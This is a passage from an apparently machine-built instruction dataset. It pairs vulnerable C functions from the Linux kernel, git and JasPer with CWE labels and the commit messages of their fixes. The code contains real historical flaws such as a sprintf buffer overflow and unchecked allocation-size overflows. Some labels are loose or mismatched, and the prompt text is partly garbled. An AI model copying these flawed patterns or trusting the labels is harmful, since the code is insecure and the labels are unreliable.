repeat;\n\t\t}\n\t} else if (sgp == SGP_READ && !filepage) {\n\t\tshmem_swp_unmap(entry);\n\t\tfilepage = find_get_page(mapping, idx);\n\t\tif (filepage &&\n\t\t (!PageUptodate(filepage) || TestSetPageLocked(filepage))) {\n\t\t\tspin_unlock(&info->lock);\n\t\t\twait_on_page_locked(filepage);\n\t\t\tpage_cache_release(filepage);\n\t\t\tfilepage = NULL;\n\t\t\tgoto repeat;\n\t\t}\n\t\tspin_unlock(&info->lock);\n\t} else {\n\t\tshmem_swp_unmap(entry);\n\t\tsbinfo = SHMEM_SB(inode->i_sb);\n\t\tif (sbinfo->max_blocks) {\n\t\t\tspin_lock(&sbinfo->stat_lock);\n\t\t\tif (sbinfo->free_blocks == 0 ||\n\t\t\t shmem_acct_block(info->flags)) {\n\t\t\t\tspin_unlock(&sbinfo->stat_lock);\n\t\t\t\tspin_unlock(&info->lock);\n\t\t\t\terror = -ENOSPC;\n\t\t\t\tgoto failed;\n\t\t\t}\n\t\t\tsbinfo->free_blocks--;\n\t\t\tinode->i_blocks += BLOCKS_PER_PAGE;\n\t\t\tspin_unlock(&sbinfo->stat_lock);\n\t\t} else if (shmem_acct_block(info->flags)) {\n\t\t\tspin_unlock(&info->lock);\n\t\t\terror = -ENOSPC;\n\t\t\tgoto failed;\n\t\t}\n\n\t\tif (!filepage) {\n\t\t\tspin_unlock(&info->lock);\n\t\t\tfilepage = shmem_alloc_page(mapping_gfp_mask(mapping),\n\t\t\t\t\t\t info,\n\t\t\t\t\t\t idx);\n\t\t\tif (!filepage) {\n\t\t\t\tshmem_unacct_blocks(info->flags, 1);\n\t\t\t\tshmem_free_blocks(inode, 1);\n\t\t\t\terror = -ENOMEM;\n\t\t\t\tgoto failed;\n\t\t\t}\n\n\t\t\tspin_lock(&info->lock);\n\t\t\tentry = shmem_swp_alloc(info, idx, sgp);\n\t\t\tif (IS_ERR(entry))\n\t\t\t\terror = PTR_ERR(entry);\n\t\t\telse {\n\t\t\t\tswap = *entry;\n\t\t\t\tshmem_swp_unmap(entry);\n\t\t\t}\n\t\t\tif (error || swap.val || 0 != add_to_page_cache_lru(\n\t\t\t\t\tfilepage, mapping, idx, GFP_ATOMIC)) {\n\t\t\t\tspin_unlock(&info->lock);\n\t\t\t\tpage_cache_release(filepage);\n\t\t\t\tshmem_unacct_blocks(info->flags, 1);\n\t\t\t\tshmem_free_blocks(inode, 1);\n\t\t\t\tfilepage = NULL;\n\t\t\t\tif (error)\n\t\t\t\t\tgoto failed;\n\t\t\t\tgoto repeat;\n\t\t\t}\n\t\t\tinfo->flags |= SHMEM_PAGEIN;\n\t\t}\n\n\t\tinfo->alloced++;\n\t\tspin_unlock(&info->lock);\n\t\tflush_dcache_page(filepage);\n\t\tSetPageUptodate(filepage);\n\t}\ndone:\n\tif (*pagep != filepage) {\n\t\t*pagep = filepage;\n\t\tif (sgp != SGP_FAULT)\n\t\t\tunlock_page(filepage);\n\n\t}\n\treturn 0;\n\nfailed:\n\tif (*pagep != filepage) {\n\t\tunlock_page(filepage);\n\t\tpage_cache_release(filepage);\n\t}\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11. There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,\n\t\t\t sigset_t *set, struct pt_regs * regs)\n{\n\tstruct rt_sigframe __user *frame;\n\tstruct _fpstate __user *fp = NULL; \n\tint err = 0;\n\tstruct task_struct *me = current;\n\n\tif (used_math()) {\n\t\tfp = get_stack(ka, regs, sizeof(struct _fpstate)); \n\t\tframe = (void __user *)round_down(\n\t\t\t(unsigned long)fp - sizeof(struct rt_sigframe), 16) - 8;\n\n\t\tif (!access_ok(VERIFY_WRITE, fp, sizeof(struct _fpstate)))\n\t\t\tgoto give_sigsegv;\n\n\t\tif (save_i387(fp) < 0) \n\t\t\terr |= -1; \n\t} else\n\t\tframe = get_stack(ka, regs, sizeof(struct rt_sigframe)) - 8;\n\n\tif (!access_ok(VERIFY_WRITE, frame, sizeof(*frame)))\n\t\tgoto give_sigsegv;\n\n\tif (ka->sa.sa_flags & SA_SIGINFO) { \n\t\terr |= copy_siginfo_to_user(&frame->info, info);\n\t\tif (err)\n\t\t\tgoto give_sigsegv;\n\t}\n\t\t\n\t/* Create the ucontext. */\n\terr |= __put_user(0, &frame->uc.uc_flags);\n\terr |= __put_user(0, &frame->uc.uc_link);\n\terr |= __put_user(me->sas_ss_sp, &frame->uc.uc_stack.ss_sp);\n\terr |= __put_user(sas_ss_flags(regs->sp),\n\t\t\t &frame->uc.uc_stack.ss_flags);\n\terr |= __put_user(me->sas_ss_size, &frame->uc.uc_stack.ss_size);\n\terr |= setup_sigcontext(&frame->uc.uc_mcontext, regs, set->sig[0], me);\n\terr |= __put_user(fp, &frame->uc.uc_mcontext.fpstate);\n\tif (sizeof(*set) == 16) { \n\t\t__put_user(set->sig[0], &frame->uc.uc_sigmask.sig[0]);\n\t\t__put_user(set->sig[1], &frame->uc.uc_sigmask.sig[1]); \n\t} else\n\t\terr |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set));\n\n\t/* Set up to return from userspace. If provided, use a stub\n\t already in userspace. */\n\t/* x86-64 should always use SA_RESTORER. */\n\tif (ka->sa.sa_flags & SA_RESTORER) {\n\t\terr |= __put_user(ka->sa.sa_restorer, &frame->pretcode);\n\t} else {\n\t\t/* could use a vstub here */\n\t\tgoto give_sigsegv; \n\t}\n\n\tif (err)\n\t\tgoto give_sigsegv;\n\n#ifdef DEBUG_SIG\n\tprintk(\"%d old ip %lx old sp %lx old ax %lx\\n\", current->pid,regs->ip,regs->sp,regs->ax);\n#endif\n\n\t/* Set up registers for signal handler */\n\tregs->di = sig;\n\t/* In case the signal handler was declared without prototypes */ \n\tregs->ax = 0;\n\n\t/* This also works for non SA_SIGINFO handlers because they expect the\n\t next argument after the signal number on the stack. */\n\tregs->si = (unsigned long)&frame->info;\n\tregs->dx = (unsigned long)&frame->uc;\n\tregs->ip = (unsigned long) ka->sa.sa_handler;\n\n\tregs->sp = (unsigned long)frame;\n\n\t/* Set up the CS register to run signal handlers in 64-bit mode,\n\t even if the handler happens to be interrupting 32-bit code. */\n\tregs->cs = __USER_CS;\n\n\t/* This, by contrast, has nothing to do with segment registers -\n\t see include/asm-x86_64/uaccess.h for details. */\n\tset_fs(USER_DS);\n\n\tregs->flags &= ~X86_EFLAGS_TF;\n\tif (test_thread_flag(TIF_SINGLESTEP))\n\t\tptrace_notify(SIGTRAP);\n#ifdef DEBUG_SIG\n\tprintk(\"SIG deliver (%s:%d): sp=%p pc=%lx ra=%p\\n\",\n\t\tcurrent->comm, current->pid, frame, regs->ip, frame->pretcode);\n#endif\n\n\treturn 0;\n\ngive_sigsegv:\n\tforce_sigsegv(sig, current);\n\treturn -EFAULT;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'x86: clear DF before calling signal handler\n\nThe Linux kernel currently does not clear the direction flag before\ncalling a signal handler, whereas the x86/x86-64 ABI requires that.\n\nLinux had this behavior/bug forever, but this becomes a real problem\nwith gcc version 4.3, which assumes that the direction flag is\ncorrectly cleared at the entry of a function.\n\nThis patches changes the setup_frame() functions to clear the\ndirection before entering the signal handler.\n\nSigned-off-by: Aurelien Jarno \nSigned-off-by: Ingo Molnar \nAcked-by: H. Peter Anvin '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ipip6_rcv(struct sk_buff *skb)\n{\n\tstruct iphdr *iph;\n\tstruct ip_tunnel *tunnel;\n\n\tif (!pskb_may_pull(skb, sizeof(struct ipv6hdr)))\n\t\tgoto out;\n\n\tiph = ip_hdr(skb);\n\n\tread_lock(&ipip6_lock);\n\tif ((tunnel = ipip6_tunnel_lookup(dev_net(skb->dev),\n\t\t\t\t\tiph->saddr, iph->daddr)) != NULL) {\n\t\tsecpath_reset(skb);\n\t\tskb->mac_header = skb->network_header;\n\t\tskb_reset_network_header(skb);\n\t\tIPCB(skb)->flags = 0;\n\t\tskb->protocol = htons(ETH_P_IPV6);\n\t\tskb->pkt_type = PACKET_HOST;\n\n\t\tif ((tunnel->dev->priv_flags & IFF_ISATAP) &&\n\t\t !isatap_chksrc(skb, iph, tunnel)) {\n\t\t\ttunnel->stat.rx_errors++;\n\t\t\tread_unlock(&ipip6_lock);\n\t\t\tkfree_skb(skb);\n\t\t\treturn 0;\n\t\t}\n\t\ttunnel->stat.rx_packets++;\n\t\ttunnel->stat.rx_bytes += skb->len;\n\t\tskb->dev = tunnel->dev;\n\t\tdst_release(skb->dst);\n\t\tskb->dst = NULL;\n\t\tnf_reset(skb);\n\t\tipip6_ecn_decapsulate(iph, skb);\n\t\tnetif_rx(skb);\n\t\tread_unlock(&ipip6_lock);\n\t\treturn 0;\n\t}\n\n\ticmp_send(skb, ICMP_DEST_UNREACH, ICMP_PORT_UNREACH, 0);\n\tkfree_skb(skb);\n\tread_unlock(&ipip6_lock);\nout:\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'sit: Add missing kfree_skb() on pskb_may_pull() failure.\n\nNoticed by Paul Marks .\n\nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int get_user_pages(struct task_struct *tsk, struct mm_struct *mm,\n\t\tunsigned long start, int len, int write, int force,\n\t\tstruct page **pages, struct vm_area_struct **vmas)\n{\n\tint i;\n\tunsigned int vm_flags;\n\n\tif (len <= 0)\n\t\treturn 0;\n\t/* \n\t * Require read or write permissions.\n\t * If 'force' is set, we only require the \"MAY\" flags.\n\t */\n\tvm_flags = write ? (VM_WRITE | VM_MAYWRITE) : (VM_READ | VM_MAYREAD);\n\tvm_flags &= force ? (VM_MAYREAD | VM_MAYWRITE) : (VM_READ | VM_WRITE);\n\ti = 0;\n\n\tdo {\n\t\tstruct vm_area_struct *vma;\n\t\tunsigned int foll_flags;\n\n\t\tvma = find_extend_vma(mm, start);\n\t\tif (!vma && in_gate_area(tsk, start)) {\n\t\t\tunsigned long pg = start & PAGE_MASK;\n\t\t\tstruct vm_area_struct *gate_vma = get_gate_vma(tsk);\n\t\t\tpgd_t *pgd;\n\t\t\tpud_t *pud;\n\t\t\tpmd_t *pmd;\n\t\t\tpte_t *pte;\n\t\t\tif (write) /* user gate pages are read-only */\n\t\t\t\treturn i ? : -EFAULT;\n\t\t\tif (pg > TASK_SIZE)\n\t\t\t\tpgd = pgd_offset_k(pg);\n\t\t\telse\n\t\t\t\tpgd = pgd_offset_gate(mm, pg);\n\t\t\tBUG_ON(pgd_none(*pgd));\n\t\t\tpud = pud_offset(pgd, pg);\n\t\t\tBUG_ON(pud_none(*pud));\n\t\t\tpmd = pmd_offset(pud, pg);\n\t\t\tif (pmd_none(*pmd))\n\t\t\t\treturn i ? : -EFAULT;\n\t\t\tpte = pte_offset_map(pmd, pg);\n\t\t\tif (pte_none(*pte)) {\n\t\t\t\tpte_unmap(pte);\n\t\t\t\treturn i ? : -EFAULT;\n\t\t\t}\n\t\t\tif (pages) {\n\t\t\t\tstruct page *page = vm_normal_page(gate_vma, start, *pte);\n\t\t\t\tpages[i] = page;\n\t\t\t\tif (page)\n\t\t\t\t\tget_page(page);\n\t\t\t}\n\t\t\tpte_unmap(pte);\n\t\t\tif (vmas)\n\t\t\t\tvmas[i] = gate_vma;\n\t\t\ti++;\n\t\t\tstart += PAGE_SIZE;\n\t\t\tlen--;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!vma || (vma->vm_flags & (VM_IO | VM_PFNMAP))\n\t\t\t\t|| !(vm_flags & vma->vm_flags))\n\t\t\treturn i ? : -EFAULT;\n\n\t\tif (is_vm_hugetlb_page(vma)) {\n\t\t\ti = follow_hugetlb_page(mm, vma, pages, vmas,\n\t\t\t\t\t\t&start, &len, i, write);\n\t\t\tcontinue;\n\t\t}\n\n\t\tfoll_flags = FOLL_TOUCH;\n\t\tif (pages)\n\t\t\tfoll_flags |= FOLL_GET;\n\t\tif (!write && !(vma->vm_flags & VM_LOCKED) &&\n\t\t (!vma->vm_ops || !vma->vm_ops->fault))\n\t\t\tfoll_flags |= FOLL_ANON;\n\n\t\tdo {\n\t\t\tstruct page *page;\n\n\t\t\t/*\n\t\t\t * If tsk is ooming, cut off its access to large memory\n\t\t\t * allocations. It has a pending SIGKILL, but it can't\n\t\t\t * be processed until returning to user space.\n\t\t\t */\n\t\t\tif (unlikely(test_tsk_thread_flag(tsk, TIF_MEMDIE)))\n\t\t\t\treturn -ENOMEM;\n\n\t\t\tif (write)\n\t\t\t\tfoll_flags |= FOLL_WRITE;\n\n\t\t\tcond_resched();\n\t\t\twhile (!(page = follow_page(vma, start, foll_flags))) {\n\t\t\t\tint ret;\n\t\t\t\tret = handle_mm_fault(mm, vma, start,\n\t\t\t\t\t\tfoll_flags & FOLL_WRITE);\n\t\t\t\tif (ret & VM_FAULT_ERROR) {\n\t\t\t\t\tif (ret & VM_FAULT_OOM)\n\t\t\t\t\t\treturn i ? i : -ENOMEM;\n\t\t\t\t\telse if (ret & VM_FAULT_SIGBUS)\n\t\t\t\t\t\treturn i ? i : -EFAULT;\n\t\t\t\t\tBUG();\n\t\t\t\t}\n\t\t\t\tif (ret & VM_FAULT_MAJOR)\n\t\t\t\t\ttsk->maj_flt++;\n\t\t\t\telse\n\t\t\t\t\ttsk->min_flt++;\n\n\t\t\t\t/*\n\t\t\t\t * The VM_FAULT_WRITE bit tells us that\n\t\t\t\t * do_wp_page has broken COW when necessary,\n\t\t\t\t * even if maybe_mkwrite decided not to set\n\t\t\t\t * pte_write. We can thus safely do subsequent\n\t\t\t\t * page lookups as if they were reads.\n\t\t\t\t */\n\t\t\t\tif (ret & VM_FAULT_WRITE)\n\t\t\t\t\tfoll_flags &= ~FOLL_WRITE;\n\n\t\t\t\tcond_resched();\n\t\t\t}\n\t\t\tif (IS_ERR(page))\n\t\t\t\treturn i ? i : PTR_ERR(page);\n\t\t\tif (pages) {\n\t\t\t\tpages[i] = page;\n\n\t\t\t\tflush_anon_page(vma, page, start);\n\t\t\t\tflush_dcache_page(page);\n\t\t\t}\n\t\t\tif (vmas)\n\t\t\t\tvmas[i] = vma;\n\t\t\ti++;\n\t\t\tstart += PAGE_SIZE;\n\t\t\tlen--;\n\t\t} while (len && start < vma->vm_end);\n\t} while (len);\n\treturn i;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix ZERO_PAGE breakage with vmware\n\nCommit 89f5b7da2a6bad2e84670422ab8192382a5aeb9f (\"Reinstate ZERO_PAGE\noptimization in 'get_user_pages()' and fix XIP\") broke vmware, as\nreported by Jeff Chua:\n\n \"This broke vmware 6.0.4.\n Jun 22 14:53:03.845: vmx| NOT_IMPLEMENTED\n /build/mts/release/bora-93057/bora/vmx/main/vmmonPosix.c:774\"\n\nand the reason seems to be that there's an old bug in how we handle do\nFOLL_ANON on VM_SHARED areas in get_user_pages(), but since it only\ntriggered if the whole page table was missing, nobody had apparently hit\nit before.\n\nThe recent changes to 'follow_page()' made the FOLL_ANON logic trigger\nnot just for whole missing page tables, but for individual pages as\nwell, and exposed this problem.\n\nThis fixes it by making the test for when FOLL_ANON is used more\ncareful, and also makes the code easier to read and understand by moving\nthe logic to a separate inline function.\n\nReported-and-tested-by: Jeff Chua \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void diff_change(struct diff_options *options,\n\t\t unsigned old_mode, unsigned new_mode,\n\t\t const unsigned char *old_sha1,\n\t\t const unsigned char *new_sha1,\n\t\t const char *base, const char *path)\n{\n\tchar concatpath[PATH_MAX];\n\tstruct diff_filespec *one, *two;\n\n\tif (DIFF_OPT_TST(options, IGNORE_SUBMODULES) && S_ISGITLINK(old_mode)\n\t\t\t&& S_ISGITLINK(new_mode))\n\t\treturn;\n\n\tif (DIFF_OPT_TST(options, REVERSE_DIFF)) {\n\t\tunsigned tmp;\n\t\tconst unsigned char *tmp_c;\n\t\ttmp = old_mode; old_mode = new_mode; new_mode = tmp;\n\t\ttmp_c = old_sha1; old_sha1 = new_sha1; new_sha1 = tmp_c;\n\t}\n\tif (!path) path = \"\";\n\tsprintf(concatpath, \"%s%s\", base, path);\n\n\tif (options->prefix &&\n\t strncmp(concatpath, options->prefix, options->prefix_length))\n\t\treturn;\n\n\tone = alloc_filespec(concatpath);\n\ttwo = alloc_filespec(concatpath);\n\tfill_filespec(one, old_sha1, old_mode);\n\tfill_filespec(two, new_sha1, new_mode);\n\n\tdiff_queue(&diff_queued_diff, one, two);\n\tDIFF_OPT_SET(options, HAS_CHANGES);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix buffer overflow in git diff\n\nIf PATH_MAX on your system is smaller than a path stored, it may cause\nbuffer overflow and stack corruption in diff_addremove() and diff_change()\nfunctions when running git-diff\n\nSigned-off-by: Dmitry Potapov \nSigned-off-by: Junio C Hamano '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void syscall_vma_close(struct vm_area_struct *vma)\n{\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': '[PATCH] i386 vDSO: use install_special_mapping\n\nThis patch uses install_special_mapping for the i386 vDSO setup, consolidating\nduplicated code.\n\nSigned-off-by: Roland McGrath \nCc: Ingo Molnar \nCc: Paul Mackerras \nCc: Benjamin Herrenschmidt \nCc: Andi Kleen \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jas_iccprof_gettagtab(jas_stream_t *in, jas_icctagtab_t *tagtab)\n{\n\tint i;\n\tjas_icctagtabent_t *tagtabent;\n\n\tif (tagtab->ents) {\n\t\tjas_free(tagtab->ents);\n\t\ttagtab->ents = 0;\n\t}\n\tif (jas_iccgetuint32(in, &tagtab->numents))\n\t\tgoto error;\n\tif (!(tagtab->ents = jas_malloc(tagtab->numents *\n\t sizeof(jas_icctagtabent_t))))\n\t\tgoto error;\n\ttagtabent = tagtab->ents;\n\tfor (i = 0; i < JAS_CAST(long, tagtab->numents); ++i) {\n\t\tif (jas_iccgetuint32(in, &tagtabent->tag) ||\n\t\tjas_iccgetuint32(in, &tagtabent->off) ||\n\t\tjas_iccgetuint32(in, &tagtabent->len))\n\t\t\tgoto error;\n\t\t++tagtabent;\n\t}\n\treturn 0;\nerror:\n\tif (tagtab->ents) {\n\t\tjas_free(tagtab->ents);\n\t\ttagtab->ents = 0;\n\t}\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int mem_resize(jas_stream_memobj_t *m, int bufsize)\n{\n\tunsigned char *buf;\n\n\tassert(m->buf_);\n\tif (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {\n\t\treturn -1;\n\t}\n\tm->buf_ = buf;\n\tm->bufsize_ = bufsize;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jpc_dec_tileinit(jpc_dec_t *dec, jpc_dec_tile_t *tile)\n{\n\tjpc_dec_tcomp_t *tcomp;\n\tint compno;\n\tint rlvlno;\n\tjpc_dec_rlvl_t *rlvl;\n\tjpc_dec_band_t *band;\n\tjpc_dec_prc_t *prc;\n\tint bndno;\n\tjpc_tsfb_band_t *bnd;\n\tint bandno;\n\tjpc_dec_ccp_t *ccp;\n\tint prccnt;\n\tjpc_dec_cblk_t *cblk;\n\tint cblkcnt;\n\tuint_fast32_t tlprcxstart;\n\tuint_fast32_t tlprcystart;\n\tuint_fast32_t brprcxend;\n\tuint_fast32_t brprcyend;\n\tuint_fast32_t tlcbgxstart;\n\tuint_fast32_t tlcbgystart;\n\tuint_fast32_t brcbgxend;\n\tuint_fast32_t brcbgyend;\n\tuint_fast32_t cbgxstart;\n\tuint_fast32_t cbgystart;\n\tuint_fast32_t cbgxend;\n\tuint_fast32_t cbgyend;\n\tuint_fast32_t tlcblkxstart;\n\tuint_fast32_t tlcblkystart;\n\tuint_fast32_t brcblkxend;\n\tuint_fast32_t brcblkyend;\n\tuint_fast32_t cblkxstart;\n\tuint_fast32_t cblkystart;\n\tuint_fast32_t cblkxend;\n\tuint_fast32_t cblkyend;\n\tuint_fast32_t tmpxstart;\n\tuint_fast32_t tmpystart;\n\tuint_fast32_t tmpxend;\n\tuint_fast32_t tmpyend;\n\tjpc_dec_cp_t *cp;\n\tjpc_tsfb_band_t bnds[64];\n\tjpc_pchg_t *pchg;\n\tint pchgno;\n\tjpc_dec_cmpt_t *cmpt;\n\n\tcp = tile->cp;\n\ttile->realmode = 0;\n\tif (cp->mctid == JPC_MCT_ICT) {\n\t\ttile->realmode = 1;\n\t}\n\n\tfor (compno = 0, tcomp = tile->tcomps, cmpt = dec->cmpts; compno <\n\t dec->numcomps; ++compno, ++tcomp, ++cmpt) {\n\t\tccp = &tile->cp->ccps[compno];\n\t\tif (ccp->qmfbid == JPC_COX_INS) {\n\t\t\ttile->realmode = 1;\n\t\t}\n\t\ttcomp->numrlvls = ccp->numrlvls;\n\t\tif (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *\n\t\t sizeof(jpc_dec_rlvl_t)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (!(tcomp->data = jas_seq2d_create(JPC_CEILDIV(tile->xstart,\n\t\t cmpt->hstep), JPC_CEILDIV(tile->ystart, cmpt->vstep),\n\t\t JPC_CEILDIV(tile->xend, cmpt->hstep), JPC_CEILDIV(tile->yend,\n\t\t cmpt->vstep)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (!(tcomp->tsfb = jpc_cod_gettsfb(ccp->qmfbid,\n\t\t tcomp->numrlvls - 1))) {\n\t\t\treturn -1;\n\t\t}\n{\n\tjpc_tsfb_getbands(tcomp->tsfb, jas_seq2d_xstart(tcomp->data), jas_seq2d_ystart(tcomp->data), jas_seq2d_xend(tcomp->data), jas_seq2d_yend(tcomp->data), bnds);\n}\n\t\tfor (rlvlno = 0, rlvl = tcomp->rlvls; rlvlno < tcomp->numrlvls;\n\t\t ++rlvlno, ++rlvl) {\nrlvl->bands = 0;\n\t\t\trlvl->xstart = JPC_CEILDIVPOW2(tcomp->xstart,\n\t\t\t tcomp->numrlvls - 1 - rlvlno);\n\t\t\trlvl->ystart = JPC_CEILDIVPOW2(tcomp->ystart,\n\t\t\t tcomp->numrlvls - 1 - rlvlno);\n\t\t\trlvl->xend = JPC_CEILDIVPOW2(tcomp->xend,\n\t\t\t tcomp->numrlvls - 1 - rlvlno);\n\t\t\trlvl->yend = JPC_CEILDIVPOW2(tcomp->yend,\n\t\t\t tcomp->numrlvls - 1 - rlvlno);\n\t\t\trlvl->prcwidthexpn = ccp->prcwidthexpns[rlvlno];\n\t\t\trlvl->prcheightexpn = ccp->prcheightexpns[rlvlno];\n\t\t\ttlprcxstart = JPC_FLOORDIVPOW2(rlvl->xstart,\n\t\t\t rlvl->prcwidthexpn) << rlvl->prcwidthexpn;\n\t\t\ttlprcystart = JPC_FLOORDIVPOW2(rlvl->ystart,\n\t\t\t rlvl->prcheightexpn) << rlvl->prcheightexpn;\n\t\t\tbrprcxend = JPC_CEILDIVPOW2(rlvl->xend,\n\t\t\t rlvl->prcwidthexpn) << rlvl->prcwidthexpn;\n\t\t\tbrprcyend = JPC_CEILDIVPOW2(rlvl->yend,\n\t\t\t rlvl->prcheightexpn) << rlvl->prcheightexpn;\n\t\t\trlvl->numhprcs = (brprcxend - tlprcxstart) >>\n\t\t\t rlvl->prcwidthexpn;\n\t\t\trlvl->numvprcs = (brprcyend - tlprcystart) >>\n\t\t\t rlvl->prcheightexpn;\n\t\t\trlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;\n\n\t\t\tif (rlvl->xstart >= rlvl->xend || rlvl->ystart >= rlvl->yend) {\n\t\t\t\trlvl->bands = 0;\n\t\t\t\trlvl->numprcs = 0;\n\t\t\t\trlvl->numhprcs = 0;\n\t\t\t\trlvl->numvprcs = 0;\n\t\t\t\tcontinue;\n\t\t\t}\t\n\t\t\tif (!rlvlno) {\n\t\t\t\ttlcbgxstart = tlprcxstart;\n\t\t\t\ttlcbgystart = tlprcystart;\n\t\t\t\tbrcbgxend = brprcxend;\n\t\t\t\tbrcbgyend = brprcyend;\n\t\t\t\trlvl->cbgwidthexpn = rlvl->prcwidthexpn;\n\t\t\t\trlvl->cbgheightexpn = rlvl->prcheightexpn;\n\t\t\t} else {\n\t\t\t\ttlcbgxstart = JPC_CEILDIVPOW2(tlprcxstart, 1);\n\t\t\t\ttlcbgystart = JPC_CEILDIVPOW2(tlprcystart, 1);\n\t\t\t\tbrcbgxend = JPC_CEILDIVPOW2(brprcxend, 1);\n\t\t\t\tbrcbgyend = JPC_CEILDIVPOW2(brprcyend, 1);\n\t\t\t\trlvl->cbgwidthexpn = rlvl->prcwidthexpn - 1;\n\t\t\t\trlvl->cbgheightexpn = rlvl->prcheightexpn - 1;\n\t\t\t}\n\t\t\trlvl->cblkwidthexpn = JAS_MIN(ccp->cblkwidthexpn,\n\t\t\t rlvl->cbgwidthexpn);\n\t\t\trlvl->cblkheightexpn = JAS_MIN(ccp->cblkheightexpn,\n\t\t\t rlvl->cbgheightexpn);\n\n\t\t\trlvl->numbands = (!rlvlno) ? 1 : 3;\n\t\t\tif (!(rlvl->bands = jas_malloc(rlvl->numbands *\n\t\t\t sizeof(jpc_dec_band_t)))) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tfor (bandno = 0, band = rlvl->bands;\n\t\t\t bandno < rlvl->numbands; ++bandno, ++band) {\n\t\t\t\tbndno = (!rlvlno) ? 0 : (3 * (rlvlno - 1) +\n\t\t\t\t bandno + 1);\n\t\t\t\tbnd = &bnds[bndno];\n\n\t\t\t\tband->orient = bnd->orient;\n\t\t\t\tband->stepsize = ccp->stepsizes[bndno];\n\t\t\t\tband->analgain = JPC_NOMINALGAIN(ccp->qmfbid,\n\t\t\t\t tcomp->numrlvls - 1, rlvlno, band->orient);\n\t\t\t\tband->absstepsize = jpc_calcabsstepsize(band->stepsize,\n\t\t\t\t cmpt->prec + band->analgain);\n\t\t\t\tband->numbps = ccp->numguardbits +\n\t\t\t\t JPC_QCX_GETEXPN(band->stepsize) - 1;\n\t\t\t\tband->roishift = (ccp->roishift + band->numbps >= JPC_PREC) ?\n\t\t\t\t (JPC_PREC - 1 - band->numbps) : ccp->roishift;\n\t\t\t\tband->data = 0;\n\t\t\t\tband->prcs = 0;\n\t\t\t\tif (bnd->xstart == bnd->xend || bnd->ystart == bnd->yend) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (!(band->data = jas_seq2d_create(0, 0, 0, 0))) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tjas_seq2d_bindsub(band->data, tcomp->data, bnd->locxstart, bnd->locystart, bnd->locxend, bnd->locyend);\n\t\t\t\tjas_seq2d_setshift(band->data, bnd->xstart, bnd->ystart);\n\n\t\t\t\tassert(rlvl->numprcs);\n\n\t\t\t\tif (!(band->prcs = jas_malloc(rlvl->numprcs * 